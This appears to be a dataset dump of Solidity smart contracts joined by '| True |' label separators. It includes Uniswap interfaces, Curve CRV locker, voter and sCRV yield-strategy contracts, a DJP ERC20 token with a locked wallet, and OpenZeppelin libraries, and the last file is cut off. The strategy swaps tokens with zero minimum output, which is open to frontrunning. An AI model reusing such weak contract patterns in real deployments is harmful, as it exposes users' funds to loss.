uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
////// src/strategies/curve/crv-locker.sol
// CurveYCRVVoter: https://etherscan.io/address/0xF147b8125d2ef93FB6965Db97D6746952a133934#code
/* pragma solidity ^0.6.2; */
/* import "../../lib/erc20.sol"; */
/* import "../../lib/safe-math.sol"; */
/* import "../../interfaces/curve.sol"; */
contract CRVLocker {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public constant want = 0xC25a3A3b969415c80451098fa907EC722572917F;
address
public constant scrvGauge = 0xA90996896660DEcC6E997655E065b23788857849;
address public constant mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0;
address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52;
address public constant escrow = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2;
address public governance;
address public voter;
constructor(address _governance) public {
governance = _governance;
}
function getName() external pure returns (string memory) {
return "CRVLocker";
}
function setVoter(address _voter) external {
require(msg.sender == governance, "!governance");
voter = _voter;
}
function deposit() public {
uint256 _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
IERC20(want).safeApprove(scrvGauge, 0);
IERC20(want).safeApprove(scrvGauge, _want);
ICurveGauge(scrvGauge).deposit(_want);
}
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == voter, "!voter");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(voter, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function withdraw(uint256 _amount) external {
require(msg.sender == voter, "!voter");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_amount = _withdrawSome(_amount.sub(_balance));
_amount = _amount.add(_balance);
}
IERC20(want).safeTransfer(voter, _amount);
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint256 balance) {
require(msg.sender == voter, "!voter");
_withdrawAll();
balance = IERC20(want).balanceOf(address(this));
IERC20(want).safeTransfer(voter, balance);
}
function _withdrawAll() internal {
ICurveGauge(scrvGauge).withdraw(
ICurveGauge(scrvGauge).balanceOf(address(this))
);
}
function createLock(uint256 _value, uint256 _unlockTime) external {
require(msg.sender == voter || msg.sender == governance, "!authorized");
IERC20(crv).safeApprove(escrow, 0);
IERC20(crv).safeApprove(escrow, _value);
ICurveVotingEscrow(escrow).create_lock(_value, _unlockTime);
}
function increaseAmount(uint256 _value) external {
require(msg.sender == voter || msg.sender == governance, "!authorized");
IERC20(crv).safeApprove(escrow, 0);
IERC20(crv).safeApprove(escrow, _value);
ICurveVotingEscrow(escrow).increase_amount(_value);
}
function increaseUnlockTime(uint256 _unlockTime) external {
require(msg.sender == voter || msg.sender == governance, "!authorized");
ICurveVotingEscrow(escrow).increase_unlock_time(_unlockTime);
}
function release() external {
require(msg.sender == voter || msg.sender == governance, "!authorized");
ICurveVotingEscrow(escrow).withdraw();
}
function _withdrawSome(uint256 _amount) internal returns (uint256) {
ICurveGauge(scrvGauge).withdraw(_amount);
return _amount;
}
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
return ICurveGauge(scrvGauge).balanceOf(address(this));
}
function balanceOf() public view returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function execute(
address to,
uint256 value,
bytes calldata data
) external returns (bool, bytes memory) {
require(msg.sender == voter || msg.sender == governance, "!governance");
(bool success, bytes memory result) = to.call{value: value}(data);
require(success, "!execute-success");
return (success, result);
}
}
////// src/strategies/curve/scrv-voter.sol
// StrategyProxy: https://etherscan.io/address/0x5886e475e163f78cf63d6683abc7fe8516d12081#code
/* pragma solidity ^0.6.7; */
/* import "../../lib/erc20.sol"; */
/* import "../../lib/safe-math.sol"; */
/* import "./crv-locker.sol"; */
/* import "../../interfaces/curve.sol"; */
contract SCRVVoter {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
CRVLocker public crvLocker;
address public constant mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0;
address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52;
address public constant snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;
address
public constant gaugeController = 0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB;
address
public constant scrvGauge = 0xA90996896660DEcC6E997655E065b23788857849;
mapping(address => bool) public strategies;
address public governance;
constructor(address _governance, address _crvLocker) public {
governance = _governance;
crvLocker = CRVLocker(_crvLocker);
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function approveStrategy(address _strategy) external {
require(msg.sender == governance, "!governance");
strategies[_strategy] = true;
}
function revokeStrategy(address _strategy) external {
require(msg.sender == governance, "!governance");
strategies[_strategy] = false;
}
function lock() external {
crvLocker.increaseAmount(IERC20(crv).balanceOf(address(crvLocker)));
}
function vote(address _gauge, uint256 _amount) public {
require(strategies[msg.sender], "!strategy");
crvLocker.execute(
gaugeController,
0,
abi.encodeWithSignature(
"vote_for_gauge_weights(address,uint256)",
_gauge,
_amount
)
);
}
function max() external {
require(strategies[msg.sender], "!strategy");
vote(scrvGauge, 10000);
}
function withdraw(
address _gauge,
address _token,
uint256 _amount
) public returns (uint256) {
require(strategies[msg.sender], "!strategy");
uint256 _before = IERC20(_token).balanceOf(address(crvLocker));
crvLocker.execute(
_gauge,
0,
abi.encodeWithSignature("withdraw(uint256)", _amount)
);
uint256 _after = IERC20(_token).balanceOf(address(crvLocker));
uint256 _net = _after.sub(_before);
crvLocker.execute(
_token,
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
_net
)
);
return _net;
}
function balanceOf(address _gauge) public view returns (uint256) {
return IERC20(_gauge).balanceOf(address(crvLocker));
}
function withdrawAll(address _gauge, address _token)
external
returns (uint256)
{
require(strategies[msg.sender], "!strategy");
return withdraw(_gauge, _token, balanceOf(_gauge));
}
function deposit(address _gauge, address _token) external {
uint256 _balance = IERC20(_token).balanceOf(address(this));
IERC20(_token).safeTransfer(address(crvLocker), _balance);
_balance = IERC20(_token).balanceOf(address(crvLocker));
crvLocker.execute(
_token,
0,
abi.encodeWithSignature("approve(address,uint256)", _gauge, 0)
);
crvLocker.execute(
_token,
0,
abi.encodeWithSignature(
"approve(address,uint256)",
_gauge,
_balance
)
);
crvLocker.execute(
_gauge,
0,
abi.encodeWithSignature("deposit(uint256)", _balance)
);
}
function harvest(address _gauge) external {
require(strategies[msg.sender], "!strategy");
uint256 _before = IERC20(crv).balanceOf(address(crvLocker));
crvLocker.execute(
mintr,
0,
abi.encodeWithSignature("mint(address)", _gauge)
);
uint256 _after = IERC20(crv).balanceOf(address(crvLocker));
uint256 _balance = _after.sub(_before);
crvLocker.execute(
crv,
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
_balance
)
);
}
function claimRewards() external {
require(strategies[msg.sender], "!strategy");
uint256 _before = IERC20(snx).balanceOf(address(crvLocker));
crvLocker.execute(crv, 0, abi.encodeWithSignature("claim_rewards()"));
uint256 _after = IERC20(snx).balanceOf(address(crvLocker));
uint256 _balance = _after.sub(_before);
crvLocker.execute(
snx,
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
_balance
)
);
}
}
////// src/strategies/curve/strategy-curve-scrv-v3.sol
// https://etherscan.io/address/0x594a198048501a304267e63b3bad0f0638da7628#code
/* pragma solidity ^0.6.2; */
/* import "../../lib/erc20.sol"; */
/* import "../../lib/safe-math.sol"; */
/* import "./scrv-voter.sol"; */
/* import "./crv-locker.sol"; */
/* import "../../interfaces/jar.sol"; */
/* import "../../interfaces/curve.sol"; */
/* import "../../interfaces/uniswapv2.sol"; */
/* import "../../interfaces/controller.sol"; */
contract StrategyCurveSCRVv3 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// sCRV
address public constant want = 0xC25a3A3b969415c80451098fa907EC722572917F;
// susdv2 pool
address public constant curve = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD;
// tokens we're farming
address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52;
address public constant snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;
// curve dao
address public constant gauge = 0xA90996896660DEcC6E997655E065b23788857849;
address public constant mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0;
// stablecoins
address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address public constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
// pickle token
address public constant pickle = 0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5;
// weth (for uniswapv2 xfers)
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// burn address
address public constant burn = 0x000000000000000000000000000000000000dEaD;
// dex
address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
// How much CRV tokens to keep
uint256 public keepCRV = 0;
uint256 public constant keepCRVMax = 10000;
// Perfomance fee 4.5%
uint256 public performanceFee = 450;
uint256 public constant performanceMax = 10000;
// Withdrawal fee 0.5%
// - 0.375% to treasury
// - 0.125% to dev fund
uint256 public treasuryFee = 375;
uint256 public constant treasuryMax = 100000;
uint256 public devFundFee = 125;
uint256 public constant devFundMax = 100000;
address public governance;
address public controller;
address public strategist;
constructor(
address _governance,
address _strategist,
address _controller
) public {
governance = _governance;
strategist = _strategist;
controller = _controller;
}
// **** Views ****
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
return ICurveGauge(gauge).balanceOf(address(this));
}
function balanceOf() public view returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function getName() external pure returns (string memory) {
return "StrategyCurveSCRVv3";
}
function getHarvestable() external returns (uint256) {
return ICurveGauge(gauge).claimable_tokens(address(this));
}
function getMostPremiumStablecoin() public view returns (address, uint256) {
uint256[] memory balances = new uint256[](4);
balances[0] = ICurveFi(curve).balances(0); // DAI
balances[1] = ICurveFi(curve).balances(1).mul(10**12); // USDC
balances[2] = ICurveFi(curve).balances(2).mul(10**12); // USDT
balances[3] = ICurveFi(curve).balances(3); // sUSD
// DAI
if (
balances[0] < balances[1] &&
balances[0] < balances[2] &&
balances[0] < balances[3]
) {
return (dai, 0);
}
// USDC
if (
balances[1] < balances[0] &&
balances[1] < balances[2] &&
balances[1] < balances[3]
) {
return (usdc, 1);
}
// USDT
if (
balances[2] < balances[0] &&
balances[2] < balances[1] &&
balances[2] < balances[3]
) {
return (usdt, 2);
}
// SUSD
if (
balances[3] < balances[0] &&
balances[3] < balances[1] &&
balances[3] < balances[2]
) {
return (susd, 3);
}
// If they're somehow equal, we just want DAI
return (dai, 0);
}
// **** Setters ****
function setDevFundFee(uint256 _devFundFee) external {
require(msg.sender == governance, "!governance");
devFundFee = _devFundFee;
}
function setTreasuryFee(uint256 _treasuryFee) external {
require(msg.sender == governance, "!governance");
treasuryFee = _treasuryFee;
}
function setPerformanceFee(uint256 _performanceFee) external {
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function setStrategist(address _strategist) external {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) external {
require(msg.sender == governance, "!governance");
controller = _controller;
}
function setKeepCRV(uint256 _keepCRV) external {
require(msg.sender == governance, "!governance");
keepCRV = _keepCRV;
}
// **** State Mutations ****
function deposit() public {
uint256 _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
IERC20(want).safeApprove(gauge, 0);
IERC20(want).approve(gauge, _want);
ICurveGauge(gauge).deposit(_want);
}
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
require(want != address(_asset), "want");
require(crv != address(_asset), "crv");
require(snx != address(_asset), "snx");
require(dai != address(_asset), "dai");
require(usdc != address(_asset), "usdc");
require(usdt != address(_asset), "usdt");
require(susd != address(_asset), "susd");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
// Withdraw partial funds, normally used with a jar withdrawal
function withdraw(uint256 _amount) external {
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_amount = _withdrawSome(_amount.sub(_balance));
_amount = _amount.add(_balance);
}
uint256 _feeDev = _amount.mul(devFundFee).div(devFundMax);
IERC20(want).safeTransfer(IController(controller).devfund(), _feeDev);
uint256 _feeTreasury = _amount.mul(treasuryFee).div(treasuryMax);
IERC20(want).safeTransfer(
IController(controller).treasury(),
_feeTreasury
);
address _jar = IController(controller).jars(address(want));
require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_jar, _amount.sub(_feeDev).sub(_feeTreasury));
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
_withdrawAll();
balance = IERC20(want).balanceOf(address(this));
address _jar = IController(controller).jars(address(want));
require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_jar, balance);
}
function _withdrawAll() internal {
ICurveGauge(gauge).withdraw(
ICurveGauge(gauge).balanceOf(address(this))
);
}
function _withdrawSome(uint256 _amount) internal returns (uint256) {
ICurveGauge(gauge).withdraw(_amount);
return _amount;
}
function brine() public {
harvest();
}
function harvest() public {
// Anyone can harvest it at any given time.
// I understand the possibility of being frontrun
// But ETH is a dark forest, and I wanna see how this plays out
// i.e. will be be heavily frontrunned?
// if so, a new strategy will be deployed.
// stablecoin we want to convert to
(address to, uint256 toIndex) = getMostPremiumStablecoin();
// Collects crv tokens
// Don't bother voting in v1
ICurveMintr(mintr).mint(gauge);
uint256 _crv = IERC20(crv).balanceOf(address(this));
if (_crv > 0) {
// x% is sent back to the rewards holder
// to be used to lock up in as veCRV in a future date
uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax);
if (_keepCRV > 0) {
IERC20(crv).safeTransfer(
IController(controller).treasury(),
_keepCRV
);
}
_crv = _crv.sub(_keepCRV);
_swap(crv, to, _crv);
}
// Collects SNX tokens
ICurveGauge(gauge).claim_rewards(address(this));
uint256 _snx = IERC20(snx).balanceOf(address(this));
if (_snx > 0) {
_swap(snx, to, _snx);
}
// Adds liquidity to curve.fi's susd pool
// to get back want (scrv)
uint256 _to = IERC20(to).balanceOf(address(this));
if (_to > 0) {
IERC20(to).safeApprove(curve, 0);
IERC20(to).safeApprove(curve, _to);
uint256[4] memory liquidity;
liquidity[toIndex] = _to;
ICurveFi(curve).add_liquidity(liquidity, 0);
}
// We want to get back sCRV
uint256 _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
// Fees 4.5% goes to treasury
IERC20(want).safeTransfer(
IController(controller).treasury(),
_want.mul(performanceFee).div(performanceMax)
);
deposit();
}
}
function _swap(
address _from,
address _to,
uint256 _amount
) internal {
// Swap with uniswap
IERC20(_from).safeApprove(univ2Router2, 0);
IERC20(_from).safeApprove(univ2Router2, _amount);
address[] memory path = new address[](3);
path[0] = _from;
path[1] = weth;
path[2] = _to;
UniswapRouterV2(univ2Router2).swapExactTokensForTokens(
_amount,
0,
path,
address(this),
now.add(60)
);
}
} | True | [
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|
pragma solidity ^0.4.24;
/**
* Dijital Para
* Appreciate The Difference
* developed by itostarter.com
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract owned { //Contract used to only allow the owner to call some functions
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
//
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check for overflows
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* DJPToken STARTS HERE */
/******************************************/
contract DJPToken is owned, TokenERC20 {
//Modify these variables
uint256 _initialSupply=500000000;
string _tokenName="DJP";
string _tokenSymbol="DijitalPara";
address public lockedWallet = 0x3d41E1d1941957FB21c2d3503E59a69aa7990370;
uint256 public startTime;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function DJPToken( ) TokenERC20(_initialSupply, _tokenName, _tokenSymbol) public {
startTime = now;
balanceOf[lockedWallet] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
bool lockedBalance = checkLockedBalance(_from,_value);
require(lockedBalance);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function checkLockedBalance(address wallet, uint256 _value) internal returns (bool){
if(wallet==lockedWallet){
if(now<startTime + 365 * 1 days){ //15% tokens locked first year
return balanceOf[lockedWallet].sub(_value)>=totalSupply.mul(15).div(100)? true : false;
}else if(now>=startTime + 365 * 1 days && now<startTime + 730 * 1 days){ //13% tokens locked second year
return balanceOf[lockedWallet].sub(_value)>=totalSupply.mul(13).div(100)? true : false;
}else if(now>=startTime + 730 * 1 days && now<startTime + 1095 * 1 days){ //10% tokens locked third year
return balanceOf[lockedWallet].sub(_value)>=totalSupply.mul(10).div(100)? true : false;
}else if(now>=startTime + 1095 * 1 days && now<startTime + 1460 * 1 days){ //6% tokens locked fourth year
return balanceOf[lockedWallet].sub(_value)>=totalSupply.mul(6).div(100)? true : false;
}else{ //No tokens locked from the forth year on
return true;
}
}else{
return true;
}
}
} | True | [
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|
pragma solidity ^0.5.8;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
